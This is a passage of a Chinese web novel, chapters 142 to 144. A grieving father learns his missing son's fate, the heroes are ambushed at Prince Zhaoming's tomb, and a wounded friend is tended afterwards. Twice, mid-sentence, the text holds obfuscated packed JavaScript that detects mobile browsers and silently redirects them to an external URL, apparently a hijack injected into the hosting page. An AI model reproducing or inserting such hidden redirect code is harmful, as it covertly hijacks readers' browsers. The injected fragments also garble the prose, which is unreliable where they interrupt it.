“你是宁烈星的什么人?”萧蕴把鞭子拽的啪啪响。 似被皮鞭的几声脆响震住,那男人手中的拐突然倒地,恐惧从他黑红的脸堂爬出来,突然转身一瘸一拐往屋里跑。 萧蕴带来的人已撑着破墙翻过去,一把按住男子的肩膀喝道:“你跑什么,我们公子问你话。”说罢举拳要打下。 胡峤已在陶修暗示下跳进去一把拦住将要落下的拳头。 装模作样的破大门打开后,萧蕴率先走进去,监官似的把院子打量一下,问:“你叫什么,是不是宁大笔?” “我就是宁大笔。”男子看这群人气度不凡,不敢冒然询问他们身份。 “你家不是挺有钱吗,何以破落至此,发生了什么?赌输了?” 宁大笔弯腰捡起拐杖,带他们到一处石磨旁,指着几块平整的石头道:“家道破落,连坐的地方都没有了,诸位多担待些。我不赌博,不碰那玩意,至于宁家如何成为现在这样我也说不清。大概是从我老母过世后没人收拾开始的吧。” 陶修和公仪林同时坐下,又确定一遍:“宁大笔,宁烈星是你什么人?为何听见他名字你要跑?” “你们又是谁,我为何要告诉你们家事?”宁大笔嗓眼干涩,紧张的几乎无法发声。 公仪林指着右边的陶修说:“这位是岳阳王府的萧世子,特地为宁家失踪的宁烈星而来。” 宁大笔怔忡地盯着陶修,浑浊的眼白渐渐变红,清泪冲开他脸上干燥的污垢留下两道黑痕,无声无息哭起来,神情痛苦绝望,紧揪衣襟向陶修移了一步,突然跪下道:“前些天世子归来的消息全城皆知,我也在王府大门外挤了两天想一睹世子真容,想沾沾您的福分,若我儿也能跟您一样‘死而复生’就好了,毕竟当年他几乎和世子同时失踪,对比世子的不幸,烈星给我最大的希望就是他可能还没死,因为我没找到他的尸体,而世子却被丢尸在家门前。”他用膝盖又向前一步,胡峤立即用刀拦住。 宁大笔跪定后急着问:“世子为何会关心宁家失踪的孩儿,世子在行善事?还是有烈星的消息。” “你都猜对了。”把荒芜的院子看尽后,萧蕴也掀开衣摆坐下,说:“说说你儿子的情况,他是什么样的人,多高多重,皮子黑还是白,说的清楚了,说不定世子还能给你儿子找回来。” “萧兕,不要满口胡言。”陶修把宁大笔扶坐在对面一块石凳上。 宁大笔眼中突燃一线希望,但看见萧蕴慵懒无赖的模样后又将这希望掐下,料想这群人也不会将他执着多年的事当回事,凄凉地笑一声:“你究竟为何而来?世子,说实在的,您当年失踪的可真不是时候啊,同一天,全城都在搜寻你时我也去报官了,但他们把我撵出来,说满城人心惶惶谁还顾得上你家宁烈星啊,自己找去吧。我就夹在大队人马中,他们喊一声世子,我就喊一声烈星,挨过几个棍子后胸口疼,再也喊不出来,我就安安静静地找。如果不是世子你失踪占用了所有的官家人力,烈星可能就找到了,你说对不对?” 公仪林对此人的几分怜悯因这些句话变成厌恶,冷声道:“失踪的不是时候?世子就坐在你面前,你问问他,他是否愿意被人拐卖到天涯海角与父母分离?世子跟你儿子一样,六岁不到,当时他能左右得了什么?” 宁大笔充耳不闻,继续说:“三天后,世子被人杀害的消息传出后,我开始在芦苇地在江边在茅房里找烈星,连萧世子那样金贵的人都死于非命,何况是我儿。方才你们问我为何提到烈星时会怕,那是因为世子的事落定后我还在坚持找儿子,可是第六日……”他没能顺畅的讲下去,站他身边的邻居替他开口:“第六日他夫人就死了,被人杀了,杀死在他寻了五六日的芦苇地里。” 陶修面色凝重,下意识攥紧指头,问:“这又是怎么回事?” 宁大笔道:“夫人的尸体上留了张字条,上面威胁宁家若是再找宁烈星,夫人的下场会发生在宁家的每一个人身上。我开始反思是不是仇家所为。但是世子,我只是个小小的卖粮食的,一辈子都没走出过江陵,我没有仇 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这个自称是萧世子的人并没有杀他儿子宁烈星,但他儿子确实又因这人而死,怪他吗,怪,但宁大笔他不敢,连怒容都没有。许久之后,宁大笔的喉咙终于发出一声怪腔,像隐忍住的歇斯底里,一屁股瘫坐在几株稀疏的野草上,哑声问:“要伤害世子的人抓住没?” “没有。” “愿世子长命百岁,尽早抓到要害您之人,我儿能为世子死也是他的造化。” 萧蕴没听出宁大笔口中的悲痛,颇为得意地说:“能葬在昭明王墓旁算他走运,这些年你儿子可是享受了莫大的尊崇,坟前受过多少人的祭拜。” 听到儿子的坟墓就在昭明王墓旁时,宁大笔脸上脏兮兮的老肉终于露出一点松动。 公仪林生怕这小子激起宁大笔的仇恨,故意另起话题支开他,指着朽败的大屋说:“小公子说说,为何久不住人的房子衰败的非常快?我猜宁家屋中什么都没有,但一定有灵牌。” 萧蕴刚才就想进去黑漆漆的屋内看一遍,知道公仪林想把他支开,正好顺水推舟名正言顺进去瞧一下,这几个人的谈话他已了解七七八八,并无兴趣。 宁大笔颓废地坐在地上,继续说:“烈星是我三十二岁时才有的,别人都有孙子时我才有了这么个儿子。” “没错,烈星跟我孙女同龄咧。”那个邻居插了一句。 “我是粗人一个,但希望儿子能比我高强,我找一位先生给他起名烈星,灿烈星辰,有拱卫日月的寓意,没想到啊,居然应在侍奉昭明王一事上。” 陶修无法从这深深浅浅的泥淖中干净脱身,昨日去的孙家给他金银或是稍微体面些的差事就能抚平当年的伤痛,但本就家境殷实的宁家需要的和孙家的帮助不一样,如果宁大笔能靠些金银钱财就能消释痛苦,那么十几年前他凭自己的能力就可以做到。 “宁大笔,宁烈星的遗骨你可以取回自行安葬,你想要我如何补偿你,只要你肯提出来,我一定会尽力而为。” “不,不,”宁大笔仓皇惊愕,几乎要抱住陶修的腿,恳求道:“让他伴着昭明王,这样最好,知道他的结局就够了,够了,我什么都不需要,这辈子我已经没有遗憾了。”不再清澈的眼眸闪动亮光,两行泪再次流下。 这时,屋内突然传出萧蕴凄厉的嗥叫,像被蝎子蛰了脚、滚水烫了肉,好歹,惨叫声骤然停止,难得的维持住他男性的自尊。 142.戎马一生昭明王 等陶修冲到门边,萧蕴已僵硬的从屋内走出来,面色惨白、魂不守舍地抓住陶修胳膊,低低的喊一声:“哥,我被吓到了。” 陶修一壁检查他的周身一壁问旁边的侍卫:“什么东西吓了公子?” 侍卫倒显得平静,手指戳着屋内悄声说:“里面有四口棺材。” 宁大笔一瘸一瘸走至门边,朝昏暗的屋内看过一眼后随手关上吱呀作响的木门,淡定地解释道:“吓到这位公子了。里面有一口棺材是我的,另外三口则是我老母、夫人、和兄弟的,他们至今都还没有安葬。” 萧蕴紧贴在陶修身后,闻言皱眉道:“为何不让他们入土为安?谁家屋里会放四口棺材?” 宁大笔回道:“棺材里的人都死得不明不白,我怎能轻易就将他们埋到土里,现在已知道烈星的下落,该让他们入土为安了。”他看向陶修,似是恳求道:“世子啊,如果您说的都是真话,那您的仇人也就是我的仇人,凶手背后的目的绝不是我这样的贱民能知晓的,愿世子长命百岁,早日手刃凶手。” 陶修再次向他确认:“你真的不需要任何补偿?” 宁大笔苦笑一声,转过身摆摆手,一瘸一拐走向白烟袅袅的小屋,笑问众人:“我正在煮饭吃咧,若不嫌弃,都来尝尝吧。” 离开宁家后,众人骑马摇摇晃晃行在城中的街道上,此段路程人迹稀少,他们看见两处经过大火焚烧的残垣断壁,许久没说话的陶修问萧蕴:“城中土地本就有限,那日刚到江陵就见到一处相似的焦土残壁,为何没人整修把土地利用起来?” 萧蕴望过眼前荒凉凋落的景致,难得露出沉重的表情,耐心问兄长:“你该听过昭明王的事?” 这确实是陶修将要向他打听的第二个问题,这段时间从萧瑛处听过一次昭明王的名字,但不知是何人,“似乎五叔十分崇敬昭明王,他是什么人?” 秋日阳光明媚,微风清凉怡人,讲起昭明王的萧蕴兴致昂扬,白皙俊美的脸上都是炽热的崇拜,“昭明王就是圣上的兄弟、曾经的河东郡王、你我的伯父萧明煜。” 没等陶修从他略欠缺的见闻里搜寻出萧明煜的名字,公仪林就拉紧马辔向他靠近,简要地提示道:“若是没听过昭明王,那你一定听过三十年前锁秦关一战。” 那场惊天动地、血流成河几乎斩断梁国腰脊的大战陶修怎会没听过。梁国初在江陵建都,周国俘虏近六万江陵百姓,欲驱入周国境内为奴。驻守河东郡的萧明煜闻讯立即调兵遣将一千五百铁骑,连奔几日杀至锁秦关,那一场战役,萧明煜的一千铁骑兵和不甘为奴的百姓与周国八万大军殊死搏杀、浴血奋战,战场上的嘶鸣和哀嚎持续整整一天,骁勇的铁骑还是败在军容盛大的周军手里,手无寸刃的百姓狠不过虎狼之师,那一战尸横遍野,梁军全军覆没,被俘百姓仅逃回不到三千人。 这些逃回江陵的百姓,到处传颂在战场上最后一次看到的萧明煜,说他在三五十人的围攻中无所畏惧所向披靡,说他浑身散发金光口吐炽热的火焰,烧死敌人无数,还有人说他连换三匹坐骑杀入大阵直逼周军将领丢盔弃甲狼狈逃窜,但最后多数人都说他身首异处,头颅被一个周军装进布袋拿去邀功了。 百姓将从萧明煜身上拽下的一片血衣布料传送至宫中,圣上鉴于其德照临四方,其武威震天下,其容恭美昳丽,谥号曰昭明。 “城中你所见的景象,皆是三十年前周军在城内俘虏百姓时留下的罪证,圣上喜爱昭明王果敢骁勇的性子,对他的陨落万分痛惜,将城中几处焦土留下来提醒自己不忘那场惨剧里牺牲的将士和几万被俘虏的百姓。” 陶修喟叹道:“那年初到江矶营,段校尉训练我们这帮斥候骑马射箭时,曾拿锁秦关一战作为教导激励我们奋勇的例子,他说那一战激烈残酷,两方的伤亡都很惨重,一千骑兵奔袭一千多里没作休息就杀向锁秦关,兵勇将猛,但最后无一生还,更无一人逃跑,个个都是不惧死的硬汉。段校尉训诫我们人的潜力能释放到自己都无法估量的地步,锁秦关,一千铁骑杀了近一万敌手。” 萧蕴道:“所以昭明王成了神,三十年来,幸存逃回的百姓都将他视作神明,他的衣冠冢年年月月都有人去祭奠,谁知宁大笔是不是逃回的三千人中的一个,听到宁烈星能伴随在昭明王身边时,甚至对儿子失踪的执念都释怀了。” 陶修转头问他:“何时跟我去祭拜下昭明王?” 萧蕴抖开马鞭准备打马,朗声道:“何须择日,现在就能去,就在城外四五十里外的山中,走不走?” 公仪林见日头虽盛,但要出城还是谨慎一点为好,建议道:“既然要出城,就提前准备下吧,你们二人好歹是后辈,怎能空着两手去?等明日带些侍卫同去……” 萧蕴抢着笑话他:“我明白陈使到哪里都是前呼后拥,你是不是经历过什么痛苦的事留下阴影,到这异国无人认识你的地方还担忧被人害了?” 公仪林笑笑,拱手道:“有小公子这只小老虎在此,谁人敢害我,现在就走。” 夹在中间的陶修觉得是该准备些香烛纸钱,但见斗嘴的二人已拍马准备绝尘,笑着摇头正要跟上,胡峤赶到他身边沉声问:“城主,是否真要出城?” “晴日朗朗,一块走吧。” 昭明王的衣冠冢在鸟鸣林静的深山中,周围树木葱茏,从枝叶间照进来的光线宁静温暖,十分适合曾经在战场上浴血奋战戎马一生的将军长眠于此。几个人将马拴在半山腰,沿着一条弯曲平坦的小道深入密林后赫然见两座坟墓出现在眼前。 陶修和公仪林先在宁烈星的坟前站了片刻,因常有百姓祭拜,他们连整理坟墓旁荒草的机会都没有。 昭明王坟墓的砖石上全是历经岁月的青苔,两株粗壮挺拔的青松在秋风中簌簌声响。陶修和萧蕴祭奠一番后起身,把墓碑上的灰尘掸扫一遍。 萧蕴半伏在墓碑后面,歪头打量认真清扫碑石的陶修,忽然说:“五叔是先帝最小的孩子,他一直被昭明王带在身边,昭明王战死那年五叔六岁,听说他比跪了一地的百姓哭的悲痛多了。后来五叔住到岳阳王府,又将你带在身边,你失踪后,他哭的比昭明王死的时候还伤心。” 陶修停下手中的活沉默片刻,周围人流露出的沉重的关爱突然涌进他十几年来一直空白的心田里,压得他有些喘不了气,好像他配不上这些人的关心。 “现在你回来,我想五叔一定还会把你带在身边。” 一直伸长耳朵听兄弟俩嘀咕的公仪林被戳了脑中的弦,忙岔开他们的话题,环视周围的山石说:“天气正好,爬上去看看?” 爱这种东西过于忘我就成了一种执念,执念又令人自私。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733127|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在这里住的越久,公仪林越觉得要陶修跟他回陈国是非常自私的行为,却又不敢袒露内心跟他长谈,好像不提这个话题,那人就一定能毫无意外的跟他回漳南。 “陈使自己玩去,我和我哥有些你不能听的话要说。” “我还就不走了。” 陶修笑道:“都相处这么多天了,你们何时心平气和坐下说说话。” 说罢,几个人就沿着山路往山上走去。 胡峤警惕地扫视四周,这已经是他第三次听见异常动静,窸窸窣窣,是压低脚步的鬼祟声。他攥住长刀紧跟在几位公子身后,很懊悔出发时没把阿八带上。 异常的响动渐渐逼近,胡峤再次对陶修道:“城主,此处有危险,必须现在就下山。” 话音刚落,突然从西、南两个方向射来几支利箭,陶修反应迅速,一把将萧蕴护在怀中按倒在地。五支箭从他刚才站的位置交错射进地面。 “快躲起来。”他拉起萧蕴藏到山道旁的一棵大树后面,公仪林和另外两人也找好藏身之处。 只有胡峤拎着刀还站在原处没动,闭起眼睛,用双耳聆听周围的动静。 山林经他们刚才的几声叫喊后又恢复平静,静的有点反常。 陶修从树后探出身朝箭矢飞来的方向找了一圈,远处一株大树的枝干上站个身着绿裳的人,其身影几乎与周围的绿叶融为一体,那人弓弦拉满,随时待发。 陶修又向左右方扫过一遍,稀疏的荆棘丛后也蹲了三个,他隔着山路跟对面的公仪林打手势:“只见四人。” 敌人不动,陶修等人也不敢妄动,双方僵持近一炷香时间,杵在路中央的胡峤也没等到展露身手的机会。公仪林对萧蕴的一个侍卫道:“把刀丢给我。” 他拾起刀快步走到胡峤背后,对远处的敌手大喊一声:“要打要杀就痛痛快快走出来,玩阴的有什么意思?”这一声吼果然奏效,“刷刷刷”数箭齐射,皆是冲着他而来。 胡峤替他斩落箭后,说:“他们冲你来的?” 公仪林大骂一声狗东西,问朝站在树上的绿裳人:“你们是剪径的好汉,还是听命行事?何不下来真刀实枪干一场,我若赢了,就是你们本领不到家,以后这种偷偷摸摸的事少干,我若输了,你们提着我的头邀功去。” 与其让他们暗中放箭,不如面对面敞亮的杀一场。 胡峤受张城之托要保护好陶修,此刻扯开洪亮嗓门对陶修说:“城主,别出来,这里交给我。” “胡峤,你能不能连我也一起保护了?”公仪林紧贴胡峤后背,冷静的开着玩笑。 又一阵箭雨射来,此“雨”不大,顶多十根,看来敌人并不多。射来的箭命中率十分精准,若不是胡峤刀玩得溜替公仪林格挡一阵,恐怕他躲不开这阵雨。 胡峤道:“上山时我就感觉身后有异常,不知是不是同一批人?” 公仪林道:“这伙人是冲你们城主而来,要护好他。”又对避在树后的陶修喊道:“康乐,他们不肯现身,这么耗着也不是办法,你带着萧蕴挑着粗些的树躲,一路下到昭明王的墓前,我不信他们能当着昭明王的‘面’杀你。” 才反应过来的萧蕴惊问陶修:“他们要杀你?他们为何杀你?” “别急,想杀我也没那么容易。”陶修拍拍他的肩膀安抚道。 143.杀人狂魔胡峤 好在此山树木繁多,他们用粗细不一的树做盾,从一棵奔到另一棵,眼看要到昭明王墓前时,四围突然一下空旷明亮,长长一大段距离连棵树都没有,更别说其他掩体。 陶修压低声音对众人说:“他们领命而来还管看谁的面子,既然不肯出来就跟他耗,耗至天黑只会对其不利。都警惕起来,莫要中了暗箭。” 山中光线逐渐暗淡,敌人并没有追上来,像突然消失了,周围复又一片悄然,唯林间沙沙的风声吹的有点渗人。 陶修用以往的经验命众人静守,到天黑更方便行动,不过敌人也不蠢,并没给他这个机会。 杀手数量变多,幽灵似的从四面八方冒出来,一张张凌厉陌生的面目和寒气森森的刀刃把躲在树后的六个人围住,这六人的处境就像把头塞进土里却将屁股暴露的大笨鸟。 看来他们也忧虑黑夜将至,迫不及待把包围圈缩小。 陶修急着高声质问:“欲取我性命?” 对方不答。 “让岳阳王府的小公子离开,我的命任取。” “休想让我走。”萧蕴拔出腰后的马鞭狠声道:“我也不是贪生怕死的。” 从未深陷险境的萧蕴此时还有几分兴奋,平时跋扈恣意惯了,百姓也热情地送他“小老虎”称号,但从未有人敢打过他,此时不得不说,他对眼下危险的憧憬远胜过恐惧。 陶修目光如炬,一壁劝着他:“他们人太多,真打起来我怕自顾不暇,能不能别让我分心?”一壁迅速点清杀手数量,对另外两棵树后的胡峤和公仪林说:“十九人,都是千锤百炼过的,硬拼毫无胜算。既然目标是我,就由我引开他们,你们尽快赶回城中搬几个有用的人来。我知道这不是好办法,但也是唯一的办法,”还特地对公仪林强调:“我是沧澜队的佼佼者,你要信我这次,我不跟他们打,没有你们做累赘,我逃跑的本领绝对也是‘出类拔萃’的厉害。” 公仪林把手中的刀检查一遍,阴沉双目,毫无商量余地:“休想。” 一直少言寡语的胡峤右手提刀,此时,他又用左手拔出背后另外一把,双手提着胜算,面无表情从树后走出来,身影高大,步步生威,对陶修沉声保证:“城主,有我在,就不会让你涉险。” “踏实。”公仪林赞他一句。 胡峤道:“我杀人时,你们就跑。” “胡峤,你没有义务一定要保护我,打不过他们就跑,明不明白?”陶修一直不清楚胡峤的真正本领,那日张城把他领到跟前时,胡峤又瘦又疲惫,说他感激张城替他出钱埋葬死在伊娄振明刀下的四口家人,无以为报,唯张城的命令是从。 胡峤脚生罡风,一步一个脚印,目光冰冷锐利,双刀森寒,以孤影面对强敌。 然敌人并未按他们设想的来。绿裳杀手立即分作两支,六人冲向胡峤,剩下的直奔躲在树后的五只笨鸟。 陶修正愁手无兵器,倏地一把雪亮的剑插在他藏身的树杆上,难得胡峤在这节骨眼上还记得这个。陶修拔了剑,回头对萧蕴道:“萧兕,看为兄给你也赚把剑。” 都说这个叫陶修的人打仗厉害,当过小卒做过斥候,最后还做了县尹,耳听和眼见确实不同,萧蕴头一次见他在一众敌手当中展露本领,迅如蛟龙的身姿、出神入化势如破竹的剑法,看得他瞠目结舌佩服不已,若能平安脱困,他要倾倒在兄长脚下。 另一边,陶修一剑挑翻敌人后立即夺刀丢给萧蕴,又担心他粗制滥造的功夫连保命都做不到,不得不两边提防。 混战的场面血腥凌乱,不断有哀嚎从胡峤刀下发出,连奋战的公仪林都忍不住抽出一眼看过去。只见胡峤挥舞双刀,铁器铮铮铛铛如狂风怒卷秋叶,围困他的六个人一瞬间就被掀翻在地。他双目赤红,就像杀出了至高的无人境界,毫不怜惜杀手翻身欲逃的败像,踩上他们的腹背,一手一刀,顿时成了他的刀下亡魂。 陶修见他疯狂嗜杀,大为震撼。 敌人的数量虽都分散开,但围攻陶修的人却不断增加。他锵锵然的剑击退前面又要顾及后面,再矫健的身姿来回翻腾跳跃也会力怯,心中暗惊:此地谁会杀我?除了远在郢州的萧钰,还会有谁? 胡峤解决六人后立即飞奔过来相助他。 有胡峤加入,陶修收了剑立在原处拄剑喘息,他要仔细瞧瞧这人的本领。沉重的大刀在胡峤手中就像两根鸡毛掸子,任他玩弄,挥刀时轻盈的带起一阵风势,落刀却刚猛又残酷。 陶修甚至有点同情死于他刀下的人。 萧蕴的右手、右臂都已受伤,他扔了剑掏出绝活,将敌手视作街上任何一个他看不顺眼的人,马鞭抽的啪啪响,东一鞭西一鞭,抽的他们没人敢靠近。 公仪林见胡峤一人就将敌势压下一头,匆忙对陶修等人说:“先去谷里找马,不要硬拼。” 大家听他命令,正边打边退,陶修却瞄见公仪林一肚子的血,立时慌神,退回他身边急问:“伤了哪?” “擦了点伤。这帮人在昭明王墓前也敢杀人,是一点都不把昭明王当神啊,肯定不是梁国人。” “这个时候了,还开什么玩笑。” 哪知他们刚退至昭明王墓前,突然又从四周闪出七八持弓的人。这下,杀疯的胡峤都白了脸,握着刀气喘吁吁,用臂袖擦了把脸上的血和汗,从干燥的口中发出一声怒喝,“城主,站我身后。” 除了陶修,其余人都已负伤,他们连滚带爬贴到一起。胡峤并不比他们任何一人高,但此刻他的背就是最高的山。 “槐序,我引开他们吧。” 公仪林割下衣裾上的一块布,仓促绕腰一绑一勒,伤口的肉往里一陷,皱眉咬牙道:“除非你能带着我跑,否则就别想单独行动,我可不想再守着你奄奄一息的身躯忍受煎熬,你……” 还未说完,箭雨已至,他们迅速散开躲避。 以玩心看待眼前危险的萧蕴越斗越激昂,灵活躲开利箭,又用碑石做遮挡,在几人惊惧中竟冲向持弓人要抢他们的兵器。 陶修大惊失色,紧追其后。 只见萧蕴以极快的速度冲到持弓人跟前,鞭子抽的噼啪炸裂,把那人抽的捂脖子倒地打挺,他顺利拾起弓箭往回折身,晃着得胜的成果对陶修得意地显摆:“哥,给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737450|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你趁手的兵器,射他们。” 陶修成了只招蜂的花,敌人所有攻击都朝着他一人而来,眼见萧蕴将要跑到跟前,陶修警觉地瞥见瞄准过来的三张弓。 他一个飞身朝萧蕴扑去。 沉重一声,萧蕴是给他扑倒了,自己身上也没有受伤,就是背上很沉重,除了几支射偏深陷在泥中的箭,一切还好,被他压在身下的萧蕴也被挤得五官扭曲,一瞬间,他才醒悟压在背后的人是谁。 陶修脑中一阵空茫,立即翻身扒拉开替他挡箭的肉盾,着慌的右手触碰公仪林中的两箭,一支在背一支插肋,忍着嗓音的震颤唤了两声:“槐序,槐序?” 陶修怒不可遏,环视敌人一圈,拎起萧蕴的衣襟朝前一丢,喝道:“快躲到墓后。”一把抱起半昏迷的公仪林往昭明王墓前躲避。 他把公仪林扶靠在墓碑的背面,感觉到手上的黏稠,低头一看,猩红刺目,立即合掌成拳,双目燃着炽火,命萧蕴看好公仪林,提了剑就冲出去。 “哥哥,务必小心——”公仪林朝他背影伸出手低喊一声,萧蕴再看,这人已晕了过去。 暮色笼罩,陶修听见一声声惨叫和怒号从胡峤那边传来,胡峤的肩头也中了一箭,但他用骇人且坚硬的身体生生化去箭矢的锐利,发出浑厚嘶吼振势气,左手的刀断掉一截,但扑到他身边的杀手也更顽强,看来这伙人速战速决的决心很强烈。 陶修冲进杀阵与胡峤搭档,一把千钧之力的长刀,一柄气势如虹的利剑,杀得敌人惨叫连连,却又无一退缩逃跑的。 天边最后一丝光亮隐入西山,山中光线更阴翳暗淡,冰凉的山风夹着丝丝血腥气吹得陶修后背一阵寒颤,还有七个人,最后七个人。他和胡峤精疲力竭,对手们也躺在地上挣扎着再挺一挺拼一拼。 还真有两人挺了过来,他们举着在夜色中亦寒光四射的刀逼近,终于开口道:“奉命行事,对不住了。” 陶修也想挺一挺,吃力地拄剑爬起来,擦掉嘴角血迹刚要开口,忽听深山中传来马蹄声。 几个人都愣住,救兵,不知是谁的救兵。两方都没动弹,竖起耳朵抱最后的生机。 阿八擎着火把,生龙活虎出现在他们跟前,后面跟的八名侍卫个个精神奕奕。 阿八震惊地扫视过尸横遍地的现场和血淋淋的自己人,将火把往地上一戳,干净利落把最后七名绿裳杀手横扫在地,正欲取其性命时,陶修阻止道:“放了他们。” 阿八问:“严刑拷问。” “不必,撬不开他们的牙关。” “总有软骨头。” 阿八瞧那七人视死如归异常平静的表情,拔了地上火把问陶修:“将军在哪?” 陶修跌跌撞撞跑向远处的昭明王墓。火把照亮萧蕴惨白的一张脸,仰头对陶修说:“他死了。” 阿八推开他,跪在公仪林身边,用手指试探到微弱的鼻息,先对丢魂落魄的陶修禀报:“小将军还有气。” 这句话把沉陷在水中快要窒息的陶修猛地捞出来,心里豁然敞亮,呼吸通畅不少。他闭目缓了一瞬,飞快地抱起公仪林,上马回城。 144.你现在就滚吧 天渐渐发白发亮,又是个云淡风轻的秋日清晨。 窗外一棵银杏树上蹲了两只不知名的雀儿,叽叽喳喳叫的甚是好听。陶修在床边守了一夜,安静的屋里偶尔有轻微动静,每每惊的他急抬眸,但都不是床上的人发出的。 他紧紧盯着那张因失血而苍白的脸,脑中很空洞,什么都想不起来,也疲惫的不愿去想。 医工在他眼前揭开公仪林受伤的腹部时,鲜红的血把他激的半晌没有呼吸,比躺在床上的人还像死人。 医工一边治伤一边向陶修保证:“我伸手进去探了,肠子没断,连我毕生的绝学都没用上。三五日会醒的。” “敢问先生的绝学是什么?” “补肠缝肚。”在王府竟敢如此直白的说话,是为医者的底气,陶修放过了他。 “世子,你的伤也该治治。” “不在你的绝学内,我的伤你补不好。”陶修心系一动不动的公仪林,忘了自己身上的伤痛,也不知医工动用什么办法,不知不觉中居然把身上的伤给缝好了。 天光大亮,院中已有下人洒扫的声音。一夜平静,发生这么大的事竟然一点动静都没有,陶修也没指望要个结果。他把公仪林冰凉的手握在掌心焐着,抵在额头上,闭上双目向佛祖祈愿。 很久后,他把他的手塞回被褥正要起身出去。王妃敲门走进来,亲手端着熬得滚烫喷香的肉粥。陶修接过粥放到几上,扶她坐在自己刚才的位置。 “陈使还没醒过?” 她的关心令陶修感到意外,都是满身负伤,母亲她先心关心的竟是公仪林,“睡得很沉。” “你坐下,给我看看你的伤。” 陶修单腿支地蹲在她腿边,撸起包扎严实的两只袖子。王妃抚过两臂,目露悲伤,轻声问:“你身上的伤都是这样来的吧?” 陶修抚过几处轻伤,温和一笑,熬了一宿声音有点沙哑,说:“这次最严重。” “你父王和五叔已去现场查看,很快就会有结果。”她触摸他脸颊上的伤口问:“麟儿,你初回江陵,我猜不到谁会对你下手。” “我不知道。” 王妃抓住他的右手若有所思,忽然惊醒似的,打个小小的寒颤。她转头把公仪林细细看了一遍,问陶修:“我听他说你们自小相似,他帮过你许多?” “我曾对活着迷惘过,但想到世上还有这样一位不嫌弃我出身的挚友偶尔会惦念我,多少会有安慰。” “他有家室没有?今年多大了?” 陶修一时愕然,不知母亲为何会突然问起这些,却也顺从的一一回答了。 “萧兕怎么样了?” 提到萧蕴,王妃心情悄然转好,露出宠爱的笑意,说:“你把饭吃掉,跟我再去看他。” 萧蕴伤的是右臂和左腿,正在小院里对下人颐指气使:“端茶来,喂我喝,没看见我伤了手?”“那盆花挪开,挡我视线了,我这腿要是能走绝不让你们搬,我还怕你们手笨给打碎了。”“医工说几天能出门?” 几处刀口还真把萧蕴愁的不得了,没愈合的伤不能见风,等愈合了又无法找人显威风去,拢共就王府这几个人知道他挨了刀。 陶修和王妃一进小院,就瞧见萧蕴躺在竹躺椅上晒着早晨最干净清新的阳光,翘起伤腿、抿着香茶,怡然自得,摇头晃脑,优哉游哉。 一见来的二人,萧蕴匆忙放心玉茶杯从躺椅上滚下来,笑着行礼:“母后,兄长!” 王妃对陶修说:“方才我来时他就这样得意忘形,不知高兴什么,问了也不说。”她温和地斥责二子说:“怎能顶着伤出来吹风,留下黑疤可别怨别人没提醒,你出来做什么?” “我包严实了。” 三人都落座后,陶修发现母亲坐的离萧蕴很近,她的手能触碰到萧蕴周身每个位置,可拥、可搂、可关切,而萧蕴确实也随意将右臂放在母亲身上,极其自然的求她垂怜。母子之间那寸许的距离,陶修暗想:这寸许的距离和可亲动作,大概我这辈子都不会再有。不免对自己命运有几分同情。 “明明一身伤,你在开心什么?”陶修朗声问他。 “殊荣啊殊荣,等父亲查清贼人来历,若是周国动的手脚,我这身伤难到不是杀敌的证据?” “你会让母亲担忧。” “你的手臂缝的怎么样,医工说跟你聊了半宿才肯把伤露出来,没想到你不惧刀剑却怕小小的针,有意思!哥哥,昨日你杀敌时实在勇武,让人眼花缭乱,真昭明王再世,不起眼的剑在你手中也能拔地摇山,至今从未有人令我如此钦佩。”他说到激动处,忘记腿伤竟站了起来:“你带来的勇夫胡峤,整日不声不响,双刀使的好啊,我只恨自己……昨日杀得真痛快。” “都是攸关性命的事,若不是阿八赶来的及时,我们未必能活下来,不要为这种事高兴。” “陈使醒没醒?我没料到他那种骄横的人会拿命帮你挡箭,看错了,等他醒了我必须亲自谢他。” 王妃惊愕道:“原来陈使为你挡箭才……” “他的致命伤不在箭上。” 三人在院子略坐,陶修就去了别院看胡峤。 胡峤因体力消耗的太过,本就不大的双目肿的几乎睁不开,努力几次才看清是陶修,艰难地从床上爬起来欲行礼。陶修按住他问了几句伤情,胡峤说:“就一个‘肿’字,我觉得全身都虚肿发胀,现在蚂蚁从身上爬过我都觉得压的疼。” “昨晚是靠了你,我们才能活命。” “属下的任务就是保护城主,最后却让城主和我搭档才拼出生机来,实在惭愧。” “剩下的七人如何处置了?” “阿八要替公仪公子报仇,欲带回来审问,他们都自杀了。” “他们透露过什么话?” 胡峤一本正经回答:“最后死的那人很不甘,他说‘领命时根本不知你们这么能打’,我告诉他要想活命也可以说出幕后主使,最后还是死了。” “你看他们像什么人?” 胡峤想了一下,说:“城主,以我游荡多年的经验推测,这帮人不像是人豢养的死士,死士从小就被收用和训练,生性冷酷,做事果决残忍,昨晚这些人我从他们眼中看不到冰凉和残暴,有几次我甚至不愿取之性命。” 陶修腹诽:你那还叫不忍? “城主发现没,自始至终他们的目标只有你一人,从没想过要杀别人,直到天色暗下后他们才真正动手。这群人不是死士,像是——” “像什么?” “像公仪公子和阿八这等身份,他们绝对是朝廷的侍卫。” 陶修怔了一瞬,立即笑道:“你想多了,我刚到此地谁都不识,也没封官袭爵,我宁愿相信是过去的仇人,但绝不会是朝中人搞的暗杀。”他安慰自己,也不让胡峤的猜测左 